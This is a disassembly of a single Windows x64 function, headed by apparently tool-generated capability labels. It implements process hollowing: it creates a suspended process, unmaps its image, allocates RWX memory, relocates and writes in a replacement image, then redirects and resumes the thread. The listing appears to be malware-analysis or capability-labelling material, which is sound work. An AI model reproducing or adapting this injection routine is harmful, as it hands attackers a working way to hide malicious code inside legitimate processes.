Function at 0x1400013b0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Resume thread
Terminate process
Use process replacement

Disassembly:
push rbp
push rbx
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x528]
sub rsp, 0x628
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp + 0x510], rax
mov r12d, dword [rbp + 0x580]
lea rcx, str.Kernel32.dll
mov r14, qword [rbp + 0x588]
mov rdi, r9
mov dword [rsp + 0x50], r12d
mov r15, rdx
mov rbx, 0xffffffffffffffff
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.VirtualAllocEx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400056d8], rax
test rax, rax
je 0x140001822
mov ecx, pe_nt_image_headers64
mov qword [rsp + 0x660], rsi
call fcn.14000196c
xor edx, edx
mov qword [rsp + 0x58], rax
mov r8d, pe_nt_image_headers64
mov rcx, rax
mov rsi, rax
call sub.VCRUNTIME140.dll_memset
mov r8d, pe_nt_image_headers64
mov rdx, rsi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea r8, [0x14000341c]
mov edx, pe_nt_image_headers64
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
mov rdx, qword [rsp + 0x58]
xorps xmm0, xmm0
xor eax, eax
mov dword [rbp + 0x4a0], 0x68
mov dword [rbp + 0x504], eax
xor esi, esi
mov qword [rbp - 0x80], rax
xor r9d, r9d
lea rax, [rsp + 0x70]
xor r8d, r8d
mov qword [rsp + 0x48], rax
xor ecx, ecx
lea rax, [rbp + 0x4a0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], esi
movups xmmword [rbp + 0x4a4], xmm0
movups xmmword [rbp + 0x4b4], xmm0
movups xmmword [rbp + 0x4c4], xmm0
movups xmmword [rbp + 0x4d4], xmm0
movups xmmword [rbp + 0x4e4], xmm0
movups xmmword [rbp + 0x4f4], xmm0
movups xmmword [rsp + 0x70], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x140001810
mov eax, dword [rbp - 0x80]
lea rdx, [rbp - 0x40]
mov rbx, qword [rsp + 0x70]
mov qword [rsp + 0x620], r13
mov r13, qword [rsp + 0x78]
mov rcx, r13
mov dword [r14], eax
mov dword [rbp - 0x10], 0x10000b
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rdx, qword [rbp + 0x50]
lea rax, [rbp + 0x498]
add rdx, 8
mov qword [rsp + 0x20], rax
lea r9d, [rsi + 4]
mov rcx, rbx
lea r8, [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov r14, qword [rsp + 0x68]
lea r9d, [rsi + 0x30]
mov rdx, r14
lea r8, [rbp - 0x78]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualQueryEx]
mov ecx, dword [rbp - 0x58]
mov edx, 0x10000
test rax, rax
mov qword [rsp + 0x60], rsi
cmovne ecx, edx
mov rdx, qword [rsp + 0x68]
sub r14d, edx
mov dword [rbp - 0x58], ecx
cmp qword [r15 + 0x30], rdx
jne 0x1400015c2
cmp r14d, r12d
jb 0x1400015c2
lea rax, [rbp + 0x490]
mov r8d, r14d
lea r9d, [rsi + 0x40]
mov qword [rsp + 0x20], rax
mov rcx, rbx
mov qword [rsp + 0x60], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
jmp 0x140001741
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.VirtualAllocEx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400056d8], rax
test rax, rax
je 0x140001741
mov r12, qword [rsp + 0x68]
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov r14, rax
test rax, rax
je 0x140001665
lea rdx, str.ZwUnmapViewOfSection
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14000162c
mov rdx, r12
mov rcx, rbx
call rax
test eax, eax
sete sil
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
test esi, esi
je 0x140001665
mov r12d, dword [rsp + 0x50]
mov esi, 0x3000
mov rdx, qword [r15 + 0x30]
mov r8d, r12d
mov r9d, esi
mov dword [rsp + 0x20], 0x40
mov rcx, rbx
call qword [0x1400056d8]
mov qword [rsp + 0x60], rax
jmp 0x140001674
mov rax, qword [rsp + 0x60]
mov esi, 0x3000
mov r12d, dword [rsp + 0x50]
test rax, rax
jne 0x14000174f
cmp dword [r15 + 0xb0], eax
je 0x1400017e4
cmp dword [r15 + 0xb4], eax
je 0x1400017e4
mov r8d, r12d
mov r9d, esi
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov rcx, rbx
call qword [0x1400056d8]
mov qword [rsp + 0x60], rax
mov rcx, rax
test rax, rax
je 0x1400017e4
mov r8d, dword [r15 + 0xb0]
mov r10, rax
sub r10, qword [r15 + 0x30]
add r8, rdi
mov rax, qword [r8 + 8]
add rax, qword [r8]
je 0x140001746
mov r11d, 0xf000
mov rax, qword [r8 + 8]
lea rdx, [r8 + 0x10]
sub rax, 0x10
mov r9d, 1
and rax, 0xfffffffffffffffe
cmp rax, 2
jb 0x140001735
nop dword [rax]
movzx eax, word [rdx]
movzx ecx, ax
and cx, r11w
cmp cx, si
jne 0x14000171b
and eax, 0xfff
add rax, qword [r8]
add qword [rax + rdi], r10
mov rcx, qword [r8 + 8]
inc r9d
sub rcx, 0x10
mov eax, r9d
shr rcx, 1
add rdx, 2
cmp rax, rcx
jbe 0x140001700
mov rax, qword [rdx + 8]
mov r8, rdx
add rax, qword [rdx]
jne 0x1400016e1
mov rcx, qword [rsp + 0x60]
test rcx, rcx
je 0x1400017e4
mov rdx, qword [rbp + 0x50]
lea rax, [rbp + 0x490]
add rdx, 8
mov qword [rsp + 0x20], rax
mov r9d, 4
lea r8, [rsp + 0x60]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rdx, qword [rsp + 0x60]
lea rax, [rbp + 0x490]
mov r9d, r12d
mov r8, rdi
mov rcx, rbx
mov qword [r15 + 0x30], rdx
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1400017e4
mov rcx, qword [rsp + 0x60]
mov eax, dword [r15 + 0x28]
mov dword [rbp - 0x10], 0x10000b
cmp rcx, qword [rsp + 0x68]
jne 0x1400017bc
add rax, qword [r15 + 0x30]
jmp 0x1400017bf
add rax, rcx
lea rdx, [rbp - 0x40]
mov qword [rbp + 0x38], rax
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140001808
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, 0xffffffffffffffff
mov r13, qword [rsp + 0x620]
mov rcx, qword [rsp + 0x58]
call fcn.140001964
mov rsi, qword [rsp + 0x660]
mov rax, rbx
mov rcx, qword [rbp + 0x510]
xor rcx, rsp
call fcn.140001940
add rsp, 0x628
pop r15
pop r14
pop r12
pop rdi
pop rbx
pop rbp
ret